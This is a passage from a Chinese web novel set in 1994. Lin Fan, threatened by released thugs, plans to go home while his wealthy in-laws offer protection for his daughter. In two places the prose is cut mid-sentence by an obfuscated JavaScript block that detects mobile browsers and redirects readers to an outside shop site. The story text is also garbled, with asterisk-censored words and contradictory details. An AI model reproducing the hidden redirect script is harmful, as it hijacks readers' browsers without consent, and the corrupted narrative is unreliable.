他们就站在不远处那架雕刻着缠枝莲纹样的梨花木屏风旁,屏风上的花纹细腻精致,却挡不住林凡压抑的对话, 那些断断续续的话语像细密的针,悄无声息地钻进了两人的耳朵,他们听去了大半内容,心里也渐渐泛起了不安。 秦淑慧手里还紧紧攥着特意给重孙女笑笑准备的桂花糕,那是她清晨特意去巷口老字号糕点铺排队买的。 油纸包裹着温热的糕点,甜香丝丝缕缕地逸散在空中,那股甜腻的香气本应让人心情愉悦,此刻却驱不散客厅里悄然凝聚的紧张气氛,反而让这份压抑愈发明显。 她的手指微微收紧,油纸发出轻微的褶皱声,眼神里满是担忧,时不时望向林凡的方向。 苏瑾瑜身上那件剪裁精良的浅灰色西装尚未换下,西装面料质感极佳,一看便知价值不菲,显然是刚从重要的场合赶回来。 但他的领带已被松了半截,领口处的纽扣也解开了一颗,露出了一小片白皙的皮肤。 平日里,他总是衣着整齐、从容不迫,举手投足间都透着商界精英的沉稳与干练,可此刻眉宇间不见了那份从容, 取而代之的是毫不掩饰的关切,眉头微微蹙起,眼神紧紧锁定着林凡,似乎想从他的神情中探寻出些什么。 秦淑慧最先走过来,脚步放得极轻,每一步都像是踩在棉花上,生怕自己的脚步声惊扰了正在通话的林凡。 她走到林凡身边,声音里带着老年人特有的、小心翼翼的担忧,那声音轻柔却又清晰地传入林凡耳中: “小凡,是不是出什么事了?是不是晚晴她……身体又不舒服了?” 要知道,苏晚晴一直在上海小姑所在的同济医院养病。那家医院在国内医疗领域颇具名气,尤其是在心血管疾病治疗方面更是处于领先水平,可即便如此,苏晚晴的病情还是让全家人时刻牵挂。 之前苏晚晴一次病情反复,秦淑慧整夜整夜地守在医院外,眼睛都熬红了,从那以后,只要家里有一点风吹草动,她第一个想到的就是苏晚晴的身体状况。 “妈,您别担心,不是晚晴。” 林凡连忙打断秦淑慧的话,语气急切,生怕老人家越想越偏,往更坏处琢磨。 他深知秦淑慧近来为苏晚晴操心得夜里都睡不踏实,常常凌晨还能看到她房间里亮着灯,有时候还会偷偷抹眼泪。 他不想再让老人为其他事情担忧,可眼下的情况,显然不是轻易能瞒过去的。 他略一踌躇,手指在身侧轻轻摩挲着,心里反复思索着该如何开口。 这事显然瞒不住,而且他若要临时赶回县城处理这事情,需要调配车辆、安排时间,还得跟晚晴说明,这些都必须获得苏家的理解与支持。 此次前来,苏家待他不薄,完全已经把他当成亲人家人了,他不想因为自己的事情给苏家带来麻烦,可现在面临的威胁涉及到孩子,他不得不寻求帮助。 他下意识地攥了攥手心,感受到一丝潮意,那是紧张导致的手心出汗。 他定了定神,压低声音,一字一句地说道:“是我老家县城那边,之前跟我有些过节的两个混混,叫黑皮和刀螂的,最近刑满出狱了。 他们现在在找我麻烦,已经去我经营的笑笑宝贝屋闹过事了,把店里的玩具推倒了好几箱,还打碎了门口的展示柜。 甚至……甚至扬言威胁到了笑笑,说要对笑笑不客气,让我等着瞧。” “威胁笑笑?!” 一直沉默旁听的苏瑾瑜听到“笑笑”两个字,再也无法保持平静,眉头瞬间拧成了一个结,原本温和的眼神骤然变冷,宛如冬日里骤然封冻的湖面,冰冷得没有一丝温度。 这位苏家最小的儿子,年仅三十二岁便执掌庞大商业帝国。 在商界,他凭借精准的商业判断和果断的决策能力,带领公司在多次市场危机中化险为夷,将公司的业务版图不断扩大,被商界同行敬畏地称作“少帅”。 此刻,他周身那股在无数次谈判桌上磨炼出的凌厉气势瞬间透体而出,仿佛能穿透空气,让人不由自主地心生敬畏。 平日里,在涉及数亿金额的商业谈判中,只要他露出这般神色,再难缠的对手也会收敛气焰,乖乖回到谈判桌前重新商议条件。 有一次,公司与一家外资企业谈判一个重要的合作项目,对方态度强硬,提出诸多不合理要求,苏瑾瑜就是用这样的眼神和气势, 加上缜密的数据分析和有力的反驳,最终让对方妥协,签下了对公司极为有利的合**议。 此刻,连客厅里的空气都仿佛沉重了几分,那只悬挂在窗沿、偶尔被微风拂动的黄铜风铃也静止不动了,仿佛被这强大的气场震慑住一般。 整个客厅陷入了一种诡异的寂静,只有几人的呼吸声在空气中交织。 “具体怎么回事? 你跟他们之间到底有什么过节?必须详细说说。” 苏瑾瑜语气沉稳,却带着不容置疑的力量,每一个字都掷地有声。 他指了指连接客厅的偏厅,那里的门帘轻轻垂着, “去那边说,隔音好些,别让在里屋玩的笑笑听见。” 他深知孩子的心灵脆弱,不能让孩子受到这样**的影响,得给孩子营造一个安全、纯净的成长环境。 偏厅布置得清雅而肃静,与客厅的热闹氛围截然不同。 房间里摆放着一套红木桌椅,木材的纹理清晰可见,经过多年的擦拭,桌椅表面光滑得能鉴人,清晰地映出晃动的人影。 阳光透过窗户洒在桌椅上,形成一道道金色的光斑,为房间增添了几分暖意。 墙上挂着一幅气势磅礴的水墨山水画,画中山峰巍峨挺拔,云雾缭绕山间,溪水潺潺流淌,笔触细腻而有力,乃是苏家老太爷苏定方早年闲暇时的墨宝。 苏定方年轻时曾拜访过国内知名的书画家,所以后来他的作品也在书画界有着极高的声誉,这幅画不仅展现了苏定方高超的绘画技艺,更默默彰显着这个家族深厚的文化底蕴和历史传承。 茶几上放着一盏青瓷茶杯,茶杯的釉色均匀细腻,呈现出淡淡的青绿色,杯身上还雕刻着精致的莲花图案。 里面剩余的碧螺春茶汤早已凉透,茶叶静静地沉在杯底,失去了往日的鲜活。这盏茶杯想必是之前有人饮用过,还没来得及收拾,却为这清雅的偏厅增添了几分生活气息。 苏瑾瑜示意林凡在对面那张厚重的太师椅上坐下,这把太师椅用料厚重,扶手和椅背上雕刻着复杂的花纹,坐上去让人感觉沉稳而踏实。 自己则向后靠去,坐在了另一把椅子上,他修长的手指开始有节奏地轻轻敲击着光滑的扶手,“笃、笃、笃”的声音在安静的偏厅里显得格外清晰—— 这是他陷入深度思考时的习惯性动作,以往在处理集团遭遇的重大危机时,比如公司面临资金链断裂、核心技术被泄露等情况,他也总是这般,通过敲击扶手来梳理思路,寻找解决问题的办法。 林凡深吸一口气,努力平复自己内心的情绪,将前因后果拣重要的叙述了一遍: “黑皮和刀螂是县城废品市场及周边区域有名的地头蛇,他们俩身材高大,脸上都有明显的疤痕,平日里总是一副凶神恶煞的模样,长期在那一带横行霸道。 他们以收取‘保护费’为名勒索摊贩,每个月都要从摊贩那里拿走不少钱,要是有摊贩不愿意交,他们就会故意找碴,要么掀翻摊贩的摊位,要么损坏摊贩的货物。 强拿硬要更是家常便饭,看到喜欢的东西,不管是吃的、用的,直接就拿走,从不给钱。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739496|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据我所知,仅我熟悉的那个旧书市场,半年内就有不下五家摊位因不堪其扰而关门。 有一家卖古籍的摊位,老板辛辛苦苦收藏了几十年的古籍,被他们以‘保护费’的名义拿走了好几本珍贵的孤本,老板心疼得直哭,却也不敢反抗。 还有一家卖连环画的摊位,因为交不起‘保护费’,摊位被他们砸得稀烂,老板无奈之下只能搬离了旧书市场。 但多数人选择忍气吞声,报案者寥寥,即便报案,也往往因证据不足或对方恶名在外而不了了之。当地的居民和摊贩都对他们恨之入骨,却又敢怒不敢言。” “半年前,这两人见我收了几箱颇具收藏价值的七八十年代旧连环画,那些连环画都是经典的作品, 比如《西游记》《三国演义》等,保存得十分完好,在收藏市场上很受欢迎,具有很高的收藏价值。 他们便想以极低价格强买,那价格连成本的十分之一都不到,我自然不会同意,就严词拒绝了他们。 可他们恼羞成怒,竟直接到店里打砸物品,把书架推倒,连环画散落一地,还险些对我动粗,幸好当时有几位邻居及时赶来劝阻,才没让他们得逞。” “后来,我抓住对方此次寻衅滋事的契机,觉得不能再让他们这样为非作歹下去,就果断报警。 同时,我还联合了几位长期以来敢怒不敢言的摊贩,他们之前也都遭受过黑皮和刀螂的欺压,心里积满了怨气。 我们一起整理了他们以往多次欺行霸市、敲诈勒索的证据链,有照片、视频,还有受害者的证言等。 在我们的努力下,警方才最终立案侦查,经过几个月的调查取证,终于将他们送进了监狱,判了一年多的**。 本以为他们出狱后会有所收敛,没想到竟然还来找我的麻烦,还威胁到笑笑。” “至于那个钱老西,则是县城里一个专做旧书生意却心术不正的商人。 他在县城开了一家旧书店,表面上做着正常的生意,背地里却常常耍些不正当的手段,比如低价收购别人的珍贵书籍,然后高价卖出。 他一直觊觎我手中那批品相完好的民国时期连环画,那些连环画不仅数量多,而且都是难得一见的版本,在旧书收藏界有着很高的知名度。 上次他就想以远低于市场价的价格收购,我知道那些连环画的价值,也不想让它们落入这种心术不正的人手中,就拒绝了他。 他被拒绝后怀恨在心,这次想必是想借着黑皮二人出狱寻衅的势头,趁机浑水摸鱼,逼迫我交出那批珍贵连环画,好让他从中牟利。” 在叙述中,林凡刻意略去了自己当初如何设计,故意将那几箱引人注目的连环画摆在店面显眼处,算准了黑皮会前来强夺, 并提前与几位信得过的摊贩统一口径、固定证据,从而引君入瓮的关键细节。 当时的情形,黑皮和刀螂在当地势力根深蒂固,有着不少的关系网,如果不采取这样的办法,很难抓住他们的把柄,也很难彻底扳倒这两个根植当地多年的恶痞。 他也是经过了反复的思考和权衡,才决定走这一步险棋。 此刻选择隐瞒,一是潜意识里担心苏家这样规矩森严、行事光明的门第,会觉得他“心思过重”、“手段不够堂皇”。 苏家一直以来都秉持着公正、光明的处事原则,苏瑾瑜在商业活动中从不使用不正当的手段,林凡担心自己这样的做法会不符合苏家的价值观,让苏家对他产生不好的看法。 二来,也是更重要的,他实在不愿让年事已高、真心关怀自己的岳母秦淑慧再平添无谓的忧虑和恐慌。 秦淑慧年纪大了,身体也不是很好,之前因为苏晚晴的事情已经操了很多心,身体和精神都承受着很大的压力。 如果再让她知道自己为了对付黑皮和刀螂,采取了这样冒险的办法,肯定会更加担心自己的安全,说不定还会因此病倒。 所以,他只将结果归因于对方多行不义,最终被法律公正制裁,希望能让秦淑慧安心一些。 第98章:家人的支持 1994年的中国,正处在计划经济向市场经济转型的关键节点。 南方沿海城市的工厂机器轰鸣,内陆县城的街头却还残留着计划经济的余温—— 个体工商户刚成气候,却常被地头蛇骚扰;派出所的警力有限,面对“保护费”这类灰色**,有时也只能调解了事。 苏瑾瑜坐在北京四合大院客厅那张传承了三代的红木扶手椅上,椅背上雕刻的缠枝莲纹在暖黄的水晶灯下发着温润的光。 这盏1980年代从广州进口的水晶灯,在当时的内陆城市堪称稀罕物,恰好衬出苏家的体面——祖父苏定方是退休的国家七大**,父亲苏振邦是军部高层领导, 两个哥哥分别任职华北军区副司令与燕京****,而他自己则是苏家集团董事长,家里的红木家具、进口家电,在县城里更是少见的“排场”。 他刚听完林凡的叙述,原本规律敲击扶手的手指骤然慢了下来,指节在深褐色木纹上轻轻摩挲,仿佛在感受木材里沉淀的岁月。 1994年,像苏家这样有“背景”的家庭,多少能避开底层社会的麻烦,可林凡不一样,他是县城里千千万万个个体工商户中的一个,开着一家十几平米的小书店,勉强维持生计。 苏瑾瑜缓缓抬眼看向站在对面的林凡,那双平日里总带着几分温和的眸子此刻锐利得像盘旋在高空的雄鹰,目光扫过林凡紧绷的肩头—— 林凡穿的还是去年买的旧夹克,袖口磨得发毛,显然日子过得不宽裕。 他仿佛能穿透人心的层层伪装,直抵最深处的担忧: “都是些藏在阴沟里见不得光的小鬼,偏偏最是难缠——他们没什么道德底线,为了点蝇头小利,敲诈勒索、堵门威胁的事都做得出来。 前阵子我还听助理说,城郊有个小超市老板,就因为不肯给混混交‘保护费’,店门被泼了红油漆,连收银台都被砸了。 你知道吗?去年县里统计个体工商户**,光是‘保护费’相关的投诉就有37起,最后真正解决的没几起,大多是商户自认倒霉。你打算怎么处理?” “我得回去一趟。” 林凡挺直脊背,站在铺着暗纹地毯的客厅中央,这张从上海采购的羊毛地毯,踩上去软乎乎的,和他在县城租的水泥地房子形成天壤之别。 地毯柔软的触感丝毫没削弱他的坚定,语气反而坚定得像块浸了水的青石,没有丝毫犹豫: “王猛一个人应付不了,他性子软得像棉花,上次在菜市场被摊贩多收了五块钱,攥着零钱站在摊位前憋了半天,最后还是没敢争执,只能红着眼眶走了。 1994年的菜市场,还没有明码标价的规矩,摊贩多收钱是常事,像王猛这样的老实人,只能吃哑巴亏。更别说对付那些满嘴脏话、动手动脚的混混了。” “那些人盯着的是我,半年前我发现他们在城郊废弃仓库里偷偷倒卖盗版书,不仅印得模糊不清,还夹杂着不少低俗内容—— 1994年,盗版书泛滥,尤其是县城和乡镇,很多孩子买的课外书都是盗版,错别字连篇,还容易误导价值观,要是被孩子买到就糟了。 我收集了半个月证据,联合文化局和派出所,把黑皮和钱老西送进看守所蹲了三个月。 你不知道,当时文化局的人说,那年他们查抄的盗版书窝点有12个,抓了40多个人,可没过多久,又有人冒出来干这行。” “这事本就因我而起,必须我回去了结。 我不能让王猛出事——他是我在县城唯一能掏心窝子的朋友,我们都是纺织厂下岗工人,1992年,个体工商户执照刚容易办下来, 我凑了几千块钱,租了个门面,然后我就把他找来,商量跟著**,他二话不说来了。 更不能让笑笑有半点风险——上次黑皮在笑笑宝贝屋门口堵我时,手里还拿着根木棍,笑笑吓得躲在我身后,小身子抖得像秋风里的树叶,眼泪把我的衣角都浸湿了。 1994年,县城里还没有完善的儿童保护机制,遇到这种事,只能靠家长自己提防。哪怕只是口头威胁,我也绝不能忍。” “回去?” 苏瑾瑜立刻摇头,眉头拧成一道深痕,语气里的担忧几乎要溢出来。1994年,交通不便,从北京到他老家县城要坐20个小时的火车, 然后转3个小时的长途汽车,路况还不好,万一在路上出点事,连个照应的人都没有。 他起身走到窗边,看着外面庭院里的石榴树,这棵树是他小时候种的,如今已经枝繁叶茂,夏天能结满红彤彤的石榴。 “你一个人回去太冒险了。 那种盘踞在县城的地头蛇,根本不讲规矩,就像一群没拴住的野狗。 去年东北辽阳一个县就出过事,有个开五金店的商户不肯交‘保护费’,被他们半夜砸了店,玻璃碎片撒了一地,还拿砖头把人砸进了医院,住了半个月才出来,最后也只能自认倒霉。 那些年,很多县城的治安还靠‘联防队’辅助,警力不足,像这种寻衅滋事的案子,除非出了重伤,否则很难立案。” “我知道,但我必须回去!”林凡道:“更有甚者,像钱老西那种人,急了眼连刀都敢带,以前就有个收废品的跟他抢过生意,被他捅伤了胳膊,最后也只是赔了几百块钱了事。 他们既然知道你现在跟我们家有关系,说不定会更变本加厉——觉得你‘傍上大款有钱了’,想借机敲一笔大的。 而且我记得,从县城汽车站回你的笑笑宝贝屋要经过一条窄巷,那条巷子里没监控,1994年,县城里只有主要街道有路灯, 小巷子里的路灯要么坏了没人修,要么暗得像蒙上了一层灰,要是他们在那儿堵你,连个帮忙的人都没有。” 他走回扶手椅旁,手指停在扶手上,指腹轻轻敲击着,发出“笃笃”的轻响,沉吟了片刻,眼神逐渐变得果决: “这样,我让苏家集团法务部派两个有经验的顾问跟你一起回去。他们是专门处理民事**和恶意敲诈案件的,去年帮集团解决过工地周边混混恶意碰瓷的事—— 当时有几个混混假装被工地的车碰到,躺在地上讹钱,开口就要五十万。1994年,五十万可不是小数目,能在县城买三套房子。 还是这两个顾问出面,不仅拿出了监控证据戳穿了他们的谎言,还让他们赔偿了工地的误工损失。” “他们不仅懂法律条文,还知道怎么跟黑皮这种人周旋,能帮你跟他们谈条件,也能悄悄收集他们威胁恐吓的证据,万一真要走法律程序,这些都是关键。 另外,我在省**厅有个老朋友,姓赵,是副厅长,十年前他母亲重病需要一种罕见的进口药材,国内到处都找不到,84年,进口药材管控严,很难买到; 是我们家通过海外渠道帮他找到了,他一直说欠了我们家一个人情。 我给他打个招呼,让当地派出所的**多去你的笑笑宝贝屋和王猛住的屋子附近转两圈,至少能起到震慑作用,让那些人不敢太放肆。 那些年,派出所的**大多是本地人,跟地头蛇多少有点熟,有省厅领导打招呼,他们才会真的上心。” 林凡心里一暖,像有股温热的泉水顺着心口慢慢淌过四肢百骸,连指尖都变得暖融融的。 苏瑾瑜的提议,无疑是当下最稳妥的办法—— 有法务顾问撑场,不怕黑皮耍无赖、钻法律空子;有警方关注,他们也不敢真的动手伤人。 但他垂眸沉默了几秒,看着自己攥得发白的指节,还是缓缓摇了摇头。 1994年,“关系”是把双刃剑,用好了能解决问题,用不好却会招人非议,尤其是在小县城里,一点小事就能传得满城风雨。 “瑾瑜,谢谢你的好意,真的。”林凡抬眼,语气格外诚恳,眼神里的感激像清澈的溪水,清晰可见,“但我想先自己处理。如果现在就动用苏家的关系,事情的性质就变了。” “一方面,容易把苏家卷进这种底层的麻烦**里,你也知道,苏家集团最近在跟城西的地块,那块地位置好,能建大型商业综合体。 94年,房地产刚开始热起来,那块地是县里的重点项目,竞争对手一直盯着苏家的动静,尤其是那个一直想抢项目的李总,他最喜欢抓着别人的把柄做文章。 万一被他知道这事,难免会在背后煽风点火,说‘苏家仗势欺人,连小混混都不放过’,到时候媒体再添油加醋报道一番, 94年的地方报纸,为了销量,就爱报道这种‘豪门恩怨’,标题说不定会写成‘苏氏集团为私情,打压底层百姓’,肯定会影响苏家的名声,甚至还会影响城西地块的竞标。” “另一方面,我要是靠着苏家的名头回去,县城里的人难免会给我贴标签,说我‘靠女人上位’‘仗势欺人’。 王猛的媳妇在菜市场卖菜,他们家的菜新鲜又便宜,生意比旁边几家都好,本来就有人眼红,1那些年的菜市场,竞争激烈,同行之间互相拆台是常事。 要是被人知道这事,菜市场的王大妈肯定会到处嚼舌根——她上次连张屠户多进了两斤猪肉,都能添油加醋传得满城皆知,说张屠户想垄断市场。 到时候王猛不仅要被人指指点点,说不定还有人会故意找他麻烦,比如挑他媳妇菜的毛病,或者故意压价,连生意都会受影响,反而更难。” 他往前迈了一步,看着苏瑾瑜的眼睛,那眼神坚定得像巍峨的青山,任凭风吹雨打,丝毫没有动摇: “我想彻底解决这个麻烦,而不是靠外力威慑暂时压下去。请你相信我,我能处理好—— 半年前我就是靠着每天偷偷去仓库附近蹲点,拍了他们倒卖盗版书的照片,还录下了他们跟买家交易的对话,联合文化局和派出所,让黑皮他们进去待了三个月。 94年,文化局对盗版书的打击力度在加大,只要证据确凿,就能依法处理。 这次他们要是还敢来,我照样能找到他们的把柄,说不定还能把他们以前干的坏事都翻出来,比如之前有人说他们偷过供销社的化肥, 还有人说他们帮人催债时打过架,只要把这些证据收集起来,就能让他们彻底不敢再找事。” 苏瑾瑜盯着林凡看了几秒,目光从他紧绷的下颌线移到坚定的眼眸里,清晰地看到了一种不愿依赖他人、想要独立扛事的骨气—— 这种骨气,在如今总想走捷径、靠关系的年轻人里实在不多见。 1994年,改革开放的春风吹了十几年,一部分人先富了起来,很多年轻人都想靠着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739497|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关系”“门路”快速成功, 他见过太多人挤破头想借着苏家的关系往上爬,有人甚至故意在苏家举办的宴会上制造偶遇,假装不小心把酒洒在他身上,就为了能跟苏家搭上线。 可林凡却不一样,他宁愿自己多费点劲,多担点风险,也不想靠着别人的力量,这份倔强里藏着难得的正直。 他沉默了片刻,指尖在扶手上轻轻点了点,最终缓缓点了点头,语气缓和了些,像卸下了肩上的一块小石头: “好,我尊重你的决定。但你记住,安全永远是第一位的,不能硬撑——一旦觉得他们要动手,或者事情超出你的控制,立刻给我打电话,别想着自己扛,你的安全比什么都重要。 1994年,县城里的电话还不普及,很多人家只有一部座机,你到了县城,记得每天给我打个电话报平安,我家四合院的座机号码你记好了,2834567,随时都有人接。” 他起身走到书桌旁,那张大黑檀木书桌光可鉴人,能映出人的影子,上面整齐地放着几摞文件,每一份都用回形针别好,透着严谨。 1994年,电脑还没普及,重要文件都是手写或者打印出来存档,苏家已经有了一台进口打印机,在当时算是很先进的设备。 他从笔筒里拿起一支银色钢笔,笔身上刻着精致的花纹,是上次去国外考察时朋友送的,1994年,进口钢笔还是稀罕物,大多是领导或者有钱人用的。 他在一张泛黄的牛皮纸便签上写下一串号码,笔尖划过纸张发出“沙沙”的声响,字迹刚劲有力,带着几分军人的利落,没有丝毫拖泥带水。 写完后,他把便签折了一下,递到林凡面前:“这是省厅赵副厅长的私人呼机号和办公室电话,你存好。 如果情况失控,比如他们真的动手打你,或者钱老西玩阴的—— 我听你说他以前就干过偷偷去商户仓库偷东西,然后反过来讹钱的事,有个卖水果的商户,仓库里的苹果被他偷了一箱,他还说是商户欠他钱,要商户赔他十倍的钱。 94年,这种‘碰瓷’‘讹诈’的事在县城里不少见,很多商户怕麻烦,只能赔钱了事。 要是他敢去你店里的仓库东西,你立刻打这个电话,就说‘是苏瑾瑜的朋友’,他会让人马上过去处理。千万别逞能,知道吗?” “我知道了,谢谢。” 林凡伸出双手接过便签,指腹轻轻摩挲着粗糙的牛皮纸,纸张的纹理硌着指尖,却让他觉得格外踏实。 他小心地把便签折成小方块,放进衬衫内侧的口袋里,紧贴着心口,仿佛这样就能感受到一份安心,像揣着一颗温暖的小太阳。 1994年,手机还没普及,大多数人都是用传呼机,林凡也有一个,是苏瑾瑜送他的,黑色的摩托罗拉传呼机,别在腰上,算是县城里的“时髦物件”,但遇到紧急情况,还是固定电话更靠谱。 “还有笑笑。” 苏瑾瑜走到林凡身边,语气软了些,眼神里带着点对孩子的疼惜——笑笑是他的外甥女, 1994年,城里的孩子已经能上幼儿园、玩玩具,可县城里的孩子,大多还是跟着家长在店里帮忙,笑笑能待在苏家四合院这样的环境里,算是很幸运的。 “你回去处理事情,笑笑就留在四合院里,你绝对放心。 有我母亲陪着她,这些日子你也看到了,我妈最宠笑笑了,昨天还特意去商场的玩具区转了一下午,给笑笑买了一筐玩具,有会唱歌的小熊,还有能搭出城堡的积木。 1994年,这种电动玩具还很贵,县城里的玩具店很少有卖的,大多是手工做的木头玩具。晚上还跟我念叨,说要教笑笑织小毛衣。” “家里还有这么多安保和佣人—— 门口站岗的是武警部队的,散打、格斗都很厉害,去年有个小偷想趁着半夜翻墙进四合院偷东西,刚翻到墙上,就被发现了,三两下就把小偷制服了,送到派出所的时候,小偷还在喊疼。 这些年,爷爷退下来后,他的2名贴身侍卫也跟着他来到了大院,负责家里的安全。 另外你别看厨房李嫂看着温和,每天就知道做饭、打扫卫生,其实年轻时跟着她爷爷学过防身术,一般的两三个男人都近不了她的身。 没人能碰笑笑一根手指头,我向你保证,要是笑笑少了一根头发,我第一个不答应。” 这一点,林凡没有丝毫犹豫。 他这段时间住在这个苏家四合院,深知这里的安保措施有多严密—— 大门外装着高清监控,1994年,高清监控还不常见,大多是银行或者重要单位才会装,像素高得能看清百米外行人脸上的表情; 围墙外有保安24小时巡逻,手里还带着对讲机,每隔十分钟就会汇报一次情况; 就连送邮件的,都要先在门口的保安室拆开检查,确认里面没有危险物品,才能送进来。 1994年,快递业刚起步,大多是邮局的EMS,私人快递很少,送东西大多靠熟人捎带或者邮局寄送。 他用力点了点头,声音里满是感激,眼眶都有点发热: “好,笑笑就拜托你们了。 有你们在,我也能更安心地回去处理事情。这一生,能有你们这样的家人,是我这辈子的幸运。” 第99章:守护与担当 这时,偏厅那扇雕着缠枝莲纹的木门被轻轻推开,秦淑慧端着一盏冒着氤氲热气的普洱茶走了进来。 茶盏是景德镇产的白瓷款,杯壁上描着细细的青花纹路,温热的触感透过杯身传到指尖。 作为苏老太爷苏定方的儿媳、曾在军部担任文职干部的她,身上既有军人刻在骨子里的利落; 笔挺的深蓝色卡其布衬衫是当年军部统一配发的款式,领口的铜扣始终扣得严丝合缝,袖口精准地挽到小臂三分之一处,露出线条结实的手腕, 手腕上还戴着一块上海牌机械表,表盘虽有些磨损,指针却走得格外精准——又带着长辈独有的温和,眼角的笑纹里都透着暖意,说话时声音不高,却自带一股让人安心的力量。 她早已从幼子苏瑾瑜口中得知了县城的麻烦事,提起笑笑时,脸上满是疼惜,伸手轻轻摸了摸笑笑的头顶,语气软了几分: “这孩子看着就乖巧,在县城受了委屈,以后在四合院里,有我在,保准没人能让她受半点气。” 可话锋一转,提到林凡要去处理县城的事,眼神却瞬间变得坚定,像极了护崽的老母鸡,语气也多了几分不容置疑: “小凡,你放心去处理县城的事!笑笑有我看着,每天上午我陪她在大院里玩积木;我特意把瑾瑜小时候玩的那套木头积木找出来了,打磨得光滑得很,不会硌着孩子手; 下午教她认认字,我还找老同事借了套1992年版的《幼儿启蒙识字卡》,那套卡片可比市面上卖的好多了,上面的图画都是彩色印刷的,颜色鲜亮, 像小猫、小狗这些图案,画得活灵活现,上次我拿给邻居家孩子看,孩子盯着看了半个多小时都不肯挪眼,笑笑肯定也喜欢。” 她顿了顿,想起笑笑爱吃的菜,脸上又露出笑意: “晚上我还能给她做最爱吃的红烧肉,上次这孩子跟我撒娇,说姥姥做的红烧肉比家里保姆做的香多了,还跟我抱怨,说保姆烧肉的时候放糖太少,吃着不够甜。 你是不知道,这孩子可爱吃了,上次我做了一小碗,她竟然全都吃完了,还跟我说‘姥姥,明天还想吃’。” 说到这儿,她指尖无意识地摩挲着搪瓷杯沿—— 那杯子是当年军部发的,杯身上印着“为人民服务”五个红色大字,虽有些年头,却被擦拭得干干净净—— 语气陡然变得强硬,话语里满是苏家的底气: “在这四合院里,谁也别想吓着她!要是需要家里帮什么,你尽管开口,别跟我们客气。 你大哥在华北军区当副司令,手底下管着不少人,办事有分量;二哥是燕京****,在地方上人脉广,很多事都能协调。 就算真有解决不了的事,让瑾瑜给他们办公室打电话,他们只要知道,肯定会搭把手。” 说着,她从斜挎的军绿色帆布包里掏出一块黑色的摩托罗拉BP机——那是当时最流行的款式,机身小巧,握在手里沉甸甸的, 94年,一台全新的摩托罗拉BP机售价要五百多块,相当于普通工人一个多月的工资,可不是谁都能买得起的—— 按下侧面的按钮,屏幕瞬间亮起一抹柔和的绿色微光,上面清晰地显示着时间。 “你看,瑾华的呼机号我都记在这上面了,我特意用钢笔在机身上贴了张小纸条,就怕忘了。 紧急情况直接传‘速回电’,他看到肯定第一时间找公用电话回过来。咱们苏家的人,从来不能在外面受欺负!” 看着秦淑慧温和却坚定的眼神,再看看身旁苏瑾瑜递过来的便签——便签纸是苏家集团专用的,上面印着淡淡的公司logo,苏瑾瑜用钢笔工整地写着三个联系方式,字迹遒劲有力, 每个联系方式后面都标注得清清楚楚:第一个是苏家集团的法务总监,附了办公室固定电话,还特意标注“工作日9点后拨打,非工作时间可传呼”,旁边还写了法务总监的传呼号; 第二个是县城某派出所所长,附了单位传呼号,备注“若遇治安问题,传呼时说明是苏家介绍”; 第三个是华北军区的一位参谋,不仅附了部队总机号及分机号,还特意写了“找李参谋,报苏瑾华名字即可”—— 林凡的心里像是有一股暖流涌过,从心脏蔓延到四肢百骸,暖得他眼眶都有些发热,鼻尖也微微发酸。 以前在县城生活时,他凡事都只能自己扛,那种孤立无援的滋味,他这辈子都忘不了。 记得1992年冬天,他发了场高烧,体温一路飙到39度,出租屋里没有暖气,窗户缝里还往进灌着冷风,身边连个递水的人都没有。 他只能裹着两床薄薄的棉被,牙齿打着颤,强撑着从床上爬起来,一步一步挪到巷口的药店买退烧药。 那时的药店哪有现在的连锁品牌,大多是私人开的小铺子,面积不大,货架上摆着零零散散的药品,连个正规的收银台都没有。 那天的药店老板看他脸色惨白,嘴唇都没了血色,还多给了他一包退烧贴,叮嘱他“回去好好休息,多喝热水”,那点善意,他记了好多年。 在县城,遇到小混混抢摊位费更是家常便饭。有次他刚摆好服装摊,几个染着黄毛的小混混就过来了,张口就要五十块摊位费,他争辩了两句,就被按在墙角打。 混乱中,他的脚上的运动鞋被狠狠踩坏了—— 那是他省吃俭用攒了三个月工资,在二手市场买的,鞋子还有些划痕,鞋子被踩坏后,他心疼得不行,却连找小混混理论的勇气都没有,只能自己咬着牙忍下来, 偷偷去巷尾的小诊所擦药,诊所的医生看他身上的伤,还叹气说“你这孩子,怎么不报警啊”,可他知道,报警也没用,那些小混混跟当地的一些人有关系,最后大概率还是不了了之。 身边虽有王猛这个搭档,可两人都是普通老百姓,没权没势。 王猛家里条件更差,连固定电话都没装——1994年,燕京的固定电话普及率还不到30%,县城就更低了,很多家庭都还没装上电话—— 家里有事全靠邻居传话,有时候邻居忘了,消息能拖好几天才传到。 面对黑恶势力和复杂的关系网,他们俩根本帮不上太大的忙,只能互相打气,却连实质性的解决办法都想不出来。 而现在,他不再是孤身一人,他的背后,站着一个在军政商三界都有深厚根基、愿意毫无保留支持他、为他兜底的苏家后盾,这种感觉,让他心里无比踏实。 但林凡心里很清楚,这个后盾,应该是最后的保障,而不是他首选的依赖。 就像苏瑾瑜经营苏家集团时,从不会轻易动用家族在政界的关系,而是靠自己的商业能力一步一步拓展版图。 去年苏家拿下城南建材市场的经营权时,竞争格外激烈,有好几家企业都靠着背后的关系暗箱操作,可苏瑾瑜硬是没找家里人帮忙,带着团队跑遍了京津冀的所有供应商, 